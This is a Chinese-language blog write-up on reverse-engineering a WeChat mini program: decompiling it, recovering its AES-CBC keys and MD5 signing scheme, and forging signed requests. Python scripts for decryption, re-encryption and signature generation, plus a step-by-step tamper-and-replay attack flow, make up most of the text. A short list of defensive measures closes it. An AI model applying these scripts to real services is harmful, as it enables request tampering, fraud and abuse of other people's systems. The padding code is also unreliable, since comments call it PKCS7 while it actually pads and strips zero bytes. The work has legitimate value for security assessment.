实战 | 记某次逆向小程序解密及签名破解
字数 1343 2025-08-18 17:33:36
小程序逆向工程实战:数据解密与签名破解技术详解
1. 前言
本技术文档详细记录了一次针对小程序的逆向工程实战过程,重点解决两个核心问题:
- 加密数据包的解密
- 签名机制的破解
通过本案例,读者可以学习到小程序逆向工程的完整流程和关键技术点。
2. 工具准备
2.1 反编译工具
使用 wxapkg 工具进行小程序反编译:
- 项目地址:https://github.com/wux1an/wxapkg
- 功能:扫描本地缓存的小程序包并反编译
- 使用方法:
- 上下键选择目标小程序
- 回车后自动在当前路径保存小程序源码
2.2 抓包工具
- Burp Suite:用于拦截和分析网络请求
3. 加密分析
3.1 加密特征识别
- 请求包和响应包均被加密
- 存在签名验证机制(sign参数)
- 重放请求会提示"重复提交"
3.2 加密算法定位
通过反编译后代码分析:
- 加密方法位于
t.Encrypt - 加密参数:
bizContent - 加密算法:AES-CBC模式
- 填充方式:PKCS7
- Key和IV:Base64编码值(示例:HqNRc2XXXXXXXXXXX0wsiw==)
4. 解密实现
4.1 Python解密脚本
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import base64
key_base64 = "HqNRXXXXXXXXXXXXwsiw==" # 替换为实际Base64密钥
iv_base64 = "HqNRXXXXXXXXXXXXXwsiw==" # 替换为实际Base64初始向量
def decrypt(encrypted_text):
key = base64.b64decode(key_base64)
iv = base64.b64decode(iv_base64)
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
decryptor = cipher.decryptor()
encrypted_data = base64.b64decode(encrypted_text)
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
return decrypted_data.rstrip(b"\0").decode('utf-8') # 移除PKCS7填充
# 测试用例
while True:
enc_data = input("输入密文:")
print("明文是:" + decrypt(enc_data))
4.2 加密实现(用于后续签名破解)
def encrypt(text):
key = base64.b64decode(key_base64)
iv = base64.b64decode(iv_base64)
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
encryptor = cipher.encryptor()
padded_data = text.encode('utf-8') + b"\0" * (16 - len(text) % 16) # PKCS7填充
ciphertext = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(ciphertext).decode('utf-8')
5. 签名机制分析
5.1 签名参数组成
签名由以下参数拼接后计算MD5:
appid=&bizContent=&nonstr=×tamp=&key=
5.2 关键参数说明
appid: 固定值4d75a8047XXXXXf481018315bab24851key: 固定值5cdf4b8d27XXXXXX88b5d2a4d7ff985bbizContent: AES加密后的请求内容nonstr: 随机数(可固定为8888888888)timestamp: 时间戳(需动态更新)
5.3 签名生成流程
- 拼接所有参数为字符串
- 计算MD5值
- 转换为大写形式
6. 签名破解实现
6.1 Python签名生成脚本
import hashlib
def generate_sign():
appid = '4d75a8047XXXXXX8315bab24851'
bizContent = input("输入bizContent:")
nonstr = '8888888888'
timestamp = input("输入timestamp:")
key = '5cdf4b8d27XXXXXX5d2a4d7ff985b'
sign_str = f"appid={appid}&bizContent={bizContent}&nonstr={nonstr}×tamp={timestamp}&key={key}"
md5_hash = hashlib.md5(sign_str.encode()).hexdigest().upper()
print(f"签名字符串: {sign_str}")
print(f"生成签名: {md5_hash}")
while True:
generate_sign()
6.2 签名破解要点
- 获取加密后的
bizContent(使用前述加密脚本) - 更新
timestamp为当前时间戳 - 保持
nonstr不变或使用相同随机值 - 使用固定
appid和key
7. 完整攻击流程
- 抓包分析:使用Burp拦截加密请求
- 反编译小程序:获取加密和签名逻辑
- 解密数据:使用AES解密脚本解密
bizContent - 修改请求:根据需要修改解密后的数据
- 重新加密:将修改后的数据加密为新的
bizContent - 生成签名:使用新参数生成有效签名
- 重放请求:使用新加密数据和签名发送请求
8. 防御建议
针对此类攻击,开发者应采取以下防护措施:
- 动态密钥:避免使用固定密钥,可采用动态密钥交换机制
- 签名增强:
- 加入设备指纹等唯一标识
- 使用非对称加密算法
- 请求时效性:严格校验时间戳有效性
- 代码混淆:加强小程序代码混淆保护
- 敏感信息保护:避免在客户端存储关键密钥
9. 总结
本案例完整展示了小程序逆向工程中数据解密和签名破解的全过程,关键技术点包括:
- 小程序反编译技术
- AES-CBC加解密实现
- 签名机制分析与破解
- 完整请求重放技术
通过掌握这些技术,安全研究人员可以更有效地评估小程序的安全性,同时也提醒开发者加强客户端安全防护措施。